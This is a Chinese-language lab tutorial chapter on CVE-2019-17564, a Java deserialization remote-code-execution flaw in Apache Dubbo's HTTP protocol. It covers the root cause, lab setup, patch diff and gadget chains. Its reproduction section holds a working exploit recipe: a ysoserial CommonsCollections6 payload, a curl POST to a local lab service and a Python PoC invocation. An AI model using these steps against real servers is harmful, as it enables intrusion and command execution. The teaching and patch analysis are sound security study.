Dubbo漏洞 - 05 CVE-2019-17564

CVE-2019-17564 — HTTP 协议 Java 原生反序列化 RCE

漏洞概述

CVE 编号:CVE-2019-17564

CVSS 评分:9.8(Critical)

影响版本:Dubbo 2.7.0 ~ 2.7.4, 2.6.0 ~ 2.6.7, 所有 2.5.x

修复版本:2.7.5, 2.6.8

攻击协议:HTTP 协议(不是默认的 Dubbo 协议)

攻击条件:Provider 开启了 HTTP 协议(<dubbo:protocol name="http" />

漏洞原理

根因分析

Dubbo 的 HTTP 协议使用 Spring 的 HttpInvokerServiceExporter 处理请求

HttpInvokerServiceExporter 直接用 ObjectInputStream.readObject() 反序列化 HTTP 请求体

没有任何类型过滤或白名单机制

攻击者发送 POST 请求,body 中放入恶意 Java 序列化数据 → 服务端直接反序列化 → RCE

调用链

1
2
3
4
5
6
7
HTTP POST 请求 → Dubbo HTTP Server
→ HttpInvokerServiceExporter.handleRequest()
readRemoteInvocation()
→ ObjectInputStream ois = new ObjectInputStream(request.getBody())
→ ois.readObject() ← 没有任何过滤!
→ 触发 gadget chain
→ Runtime.exec("恶意命令")

漏洞代码

1
2
3
4
5
6
7
8
// Spring HttpInvokerServiceExporter (简化)
protected RemoteInvocation readRemoteInvocation(HttpServletRequest request) {
ObjectInputStream ois = createObjectInputStream(
decorateInputStream(request, request.getInputStream())
);
// 直接反序列化,没有类型检查
return (RemoteInvocation) ois.readObject(); // ← 漏洞点
}

为什么这是 Dubbo 最简单的漏洞?

不需要理解 Dubbo 协议格式(使用标准 HTTP)

不需要 Hessian2 格式的 payload(使用 Java 原生序列化)

直接用 ysoserial 生成 payload + curl 发送即可

是入门 Dubbo 漏洞的最佳起点

环境搭建

Docker 方式(推荐)

1
2
3
4
5
6
cd environments/cve-2019-17564
docker-compose up -d

# 验证服务启动
docker-compose ps
# 确认 8080 端口(HTTP)和 20880 端口(Dubbo)都在监听

手动方式(Maven)

1
2
3
4
5
6
7
8
9
# 1. 启动 ZooKeeper
docker run -d --name zk -p 2181:2181 zookeeper:3.7.0

# 2. 编译靶场
cd dubbo-vuln-lab
mvn -P dubbo-2.7.3 clean package -DskipTests

# 3. 启动 Provider
java -jar vulnerable-provider/target/vulnerable-provider-1.0-SNAPSHOT.jar

漏洞复现

步骤一:生成 payload

1
2
3
4
5
6
7
# 使用 ysoserial 生成 CommonsCollections6 链的 payload
# 命令:在 /tmp 下创建 pwned 文件(作为验证标记)
java -jar ysoserial.jar CommonsCollections6 "touch /tmp/pwned" > payload.bin

# 查看 payload 开头,确认是 Java 序列化格式
xxd payload.bin | head -1
# 应该看到: aced 0005 ...

步骤二:发送恶意请求

1
2
3
4
5
6
# 直接用 curl 发送 POST 请求
# Content-Type 设置为 application/x-java-serialized-object
curl -X POST \
-H "Content-Type: application/x-java-serialized-object" \
--data-binary @payload.bin \
http://127.0.0.1:8080/com.vuln.api.DemoService

步骤三:使用 Python PoC

1
2
3
4
python exploits/cve_2019_17564_http.py \
--target 127.0.0.1 \
--port 8080 \
--command "touch /tmp/pwned"

步骤四:验证

1
2
3
4
5
6
# Docker 环境
docker exec dubbo-provider ls /tmp/pwned
# 如果文件存在,漏洞利用成功

# 本地环境
ls /tmp/pwned

补丁分析

修复方式

Dubbo 2.7.5 移除了 HttpInvokerServiceExporter

替换为 JsonRpcServer(基于 JSON 的 RPC,不涉及 Java 反序列化)

补丁 diff

1
2
3
4
5
6
7
- // Dubbo 2.7.4 及之前
- import org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter;
- HttpInvokerServiceExporter exporter = new HttpInvokerServiceExporter();

+ // Dubbo 2.7.5 修复
+ import com.googlecode.jsonrpc4j.JsonRpcServer;
+ JsonRpcServer server = new JsonRpcServer(mapper, service, serviceInterface);

修复思路

根本修复:不再使用 Java 反序列化处理 HTTP 请求

而非加黑名单或限制反序列化类型(这种方式容易被绕过)

关联的 Gadget Chain

因为是 Java 原生反序列化(ObjectInputStream),所有 ysoserial 链均可使用:

条件 推荐度
CommonsCollections6 classpath 有 commons-collections:3.x 高(不限 JDK 版本)
CommonsBeanutils1 classpath 有 commons-beanutils
ROME classpath 有 rome
CommonsCollections1 JDK < 8u72 中(有版本限制)

思考与延伸

这个漏洞的前提是 Provider 开启了 HTTP 协议

默认配置下 Dubbo 只使用 Dubbo 协议(Hessian2 序列化),不受此漏洞影响

但很多项目为了兼容性会同时开启 HTTP 协议

教训:Spring 的 HttpInvokerServiceExporter 在 Spring 5.3+ 中已被标记为 @Deprecated,正是因为安全问题


上一章 目录 下一章
04-Dubbo架构与协议分析 Dubbo漏洞 06-CVE-2020-1948